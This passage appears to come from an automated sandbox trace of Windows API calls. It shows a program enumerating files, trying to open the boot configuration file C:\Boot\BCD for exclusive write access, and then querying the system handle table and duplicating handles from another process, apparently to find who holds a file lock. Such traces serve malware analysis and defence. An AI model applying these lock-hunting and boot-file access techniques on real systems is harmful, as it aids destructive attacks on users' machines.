out: lpFileInformation=0x119fb04*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x119fb60, ftLastAccessTime.dwLowDateTime=0x409299, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x119fb60, ftLastWriteTime.dwHighDateTime=0x40e39d, nFileSizeHigh=0x0, nFileSizeLow=0x18fe40)) returned 0 [0093.249] GetLastError () returned 0x20 [0093.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0093.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0093.249] GetFileAttributesExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81)) returned 1 [0093.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0093.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fa50 [0093.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0093.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fa50) returned 1 [0093.251] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0093.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0093.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0093.252] GetFileAttributesExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81)) returned 1 [0093.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0093.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0093.252] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0093.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0093.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0093.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fa50 [0093.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0093.254] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0093.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fa50) returned 1 [0093.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0093.255] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0093.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0093.255] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0093.255] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.255] GetLastError () returned 0x20 [0093.255] GetCurrentProcessId () returned 0xaa0 [0093.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x400) returned 0x11f6058 [0093.256] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x11f6058, Length=0x400, ResultLength=0x119fae8 | out: SystemInformation=0x11f6058, ResultLength=0x119fae8*=0x473d4) returned 0xc0000004 [0093.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x47400) returned 0x14a0048 [0093.275] GetExitCodeProcess (in: hProcess=0x154, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0093.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8560 [0093.276] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0093.276] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc00000bb [0093.276] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0xc, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.276] ResetEvent (hEvent=0xdc) returned 1 [0093.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x401489, lpParameter=0x18fed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x184 [0093.277] ResetEvent (hEvent=0xe0) returned 1 [0093.277] SetEvent (hEvent=0xdc) returned 1 [0093.277] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.282] NtClose (Handle=0x180) returned 0x0 [0093.282] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x10, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.282] ResetEvent (hEvent=0xe0) returned 1 [0093.283] SetEvent (hEvent=0xdc) returned 1 [0093.283] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.284] NtClose (Handle=0x180) returned 0x0 [0093.285] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x14, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.285] ResetEvent (hEvent=0xe0) returned 1 [0093.285] SetEvent (hEvent=0xdc) returned 1 [0093.285] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.287] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.287] NtClose (Handle=0x180) returned 0x0 [0093.287] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x18, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.287] ResetEvent (hEvent=0xe0) returned 1 [0093.287] SetEvent (hEvent=0xdc) returned 1 [0093.287] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.288] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.289] NtClose (Handle=0x180) returned 0x0 [0093.289] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x1c, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.289] ResetEvent (hEvent=0xe0) returned 1 [0093.289] SetEvent (hEvent=0xdc) returned 1 [0093.289] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.291] NtClose (Handle=0x180) returned 0x0 [0093.291] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x20, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.291] ResetEvent (hEvent=0xe0) returned 1 [0093.292] SetEvent (hEvent=0xdc) returned 1 [0093.292] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.294] NtClose (Handle=0x180) returned 0x0 [0093.294] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x24, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.294] ResetEvent (hEvent=0xe0) returned 1 [0093.294] SetEvent (hEvent=0xdc) returned 1 [0093.294] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.296] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.296] NtClose (Handle=0x180) returned 0x0 [0093.296] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x28, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.296] ResetEvent (hEvent=0xe0) returned 1 [0093.296] SetEvent (hEvent=0xdc) returned 1 [0093.296] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.298] NtClose (Handle=0x180) returned 0x0 [0093.298] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x2c, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.298] ResetEvent (hEvent=0xe0) returned 1 [0093.298] SetEvent (hEvent=0xdc) returned 1 [0093.298] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.300] NtClose (Handle=0x180) returned 0x0 [0093.300] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x30, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.300] ResetEvent (hEvent=0xe0) returned 1 [0093.300] SetEvent (hEvent=0xdc) returned 1 [0093.300] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.302] NtClose (Handle=0x180) returned 0x0 [0093.302] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x34, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.302] ResetEvent (hEvent=0xe0) returned 1 [0093.302] SetEvent (hEvent=0xdc) returned 1 [0093.302] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.304] NtClose (Handle=0x180) returned 0x0 [0093.304] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x38, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.304] ResetEvent (hEvent=0xe0) returned 1 [0093.304] SetEvent (hEvent=0xdc) returned 1 [0093.304] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.306] NtClose (Handle=0x180) returned 0x0 [0093.306] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x3c, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.306] ResetEvent (hEvent=0xe0) returned 1 [0093.306] SetEvent (hEvent=0xdc) returned 1 [0093.306] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.309] NtClose (Handle=0x180) returned 0x0 [0093.309] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x40, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.309] ResetEvent (hEvent=0xe0) returned 1 [0093.309] SetEvent (hEvent=0xdc) returned 1 [0093.309] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.311] NtClose (Handle=0x180) returned 0x0 [0093.311] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x44, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.311] ResetEvent (hEvent=0xe0) returned 1 [0093.311] SetEvent (hEvent=0xdc) returned 1 [0093.311] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.313] NtClose (Handle=0x180) returned 0x0 [0093.313] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x48, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.313] ResetEvent (hEvent=0xe0) returned 1 [0093.313] SetEvent (hEvent=0xdc) returned 1 [0093.313] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.315] NtClose (Handle=0x180) returned 0x0 [0093.315] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x4c, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.315] ResetEvent (hEvent=0xe0) returned 1 [0093.315] SetEvent (hEvent=0xdc) returned 1 [0093.316] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.317] NtClose (Handle=0x180) returned 0x0 [0093.317] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x50, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.317] ResetEvent (hEvent=0xe0) returned 1 [0093.317] SetEvent (hEvent=0xdc) returned 1 [0093.319] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.319] NtClose (Handle=0x180) returned 0x0 [0093.319] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x54, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.319] ResetEvent (hEvent=0xe0) returned 1 [0093.320] SetEvent (hEvent=0xdc) returned 1 [0093.321] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.321] NtClose (Handle=0x180) returned 0x0 [0093.321] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x58, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.321] ResetEvent (hEvent=0xe0) returned 1 [0093.322] SetEvent (hEvent=0xdc) returned 1 [0093.322] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.323] NtClose (Handle=0x180) returned 0x0 [0093.323] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x5c, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.323] ResetEvent (hEvent=0xe0) returned 1 [0093.323] SetEvent (hEvent=0xdc) returned 1 [0093.340] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.342] NtClose (Handle=0x180) returned 0x0 [0093.342] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x60, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.342] ResetEvent (hEvent=0xe0) returned 1 [0093.342] SetEvent (hEvent=0xdc) returned 1 [0093.343] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.343] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.343] NtClose (Handle=0x180) returned 0x0 [0093.343] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x64, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.343] ResetEvent (hEvent=0xe0) returned 1 [0093.344] SetEvent (hEvent=0xdc) returned 1 [0093.344] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.345] NtClose (Handle=0x180) returned 0x0 [0093.345] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x68, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.345] ResetEvent (hEvent=0xe0) returned 1 [0093.345] SetEvent (hEvent=0xdc) returned 1 [0093.346] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.347] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.347] NtClose (Handle=0x180) returned 0x0 [0093.347] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x6c, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.347] ResetEvent (hEvent=0xe0) returned 1 [0093.347] SetEvent (hEvent=0xdc) returned 1 [0093.348] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.349] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.349] NtClose (Handle=0x180) returned 0x0 [0093.349] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x70, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.349] ResetEvent (hEvent=0xe0) returned 1 [0093.349] SetEvent (hEvent=0xdc) returned 1 [0093.350] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.350] NtClose (Handle=0x180) returned 0x0 [0093.350] NtDuplicateObject (in: SourceProcessHandle=0x154, SourceHandle=0x74, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x180) returned 0x0 [0093.350] ResetEvent (hEvent=0xe0) returned 1 [0093.350] SetEvent (hEvent=0xdc) returned 1 [0093.351] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.352] NtClose (Handle=0x180) returned 0x0 [0093.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9ed9f0 [0093.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0093.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8518 [0093.353] NtOpenProcess (in: ProcessHandle=0x119fa8c, DesiredAccess=0xc48, ObjectAttributes=0x119fa98*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x119fa90*(UniqueProcess=0x148, UniqueThread=0x0) | out: ProcessHandle=0x119fa8c*=0x180) returned 0x0 [0093.353] GetExitCodeProcess (in: hProcess=0x180, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0093.353] NtDuplicateObject (in: SourceProcessHandle=0x180, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0093.353] NtDuplicateObject (in: SourceProcessHandle=0x180, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, 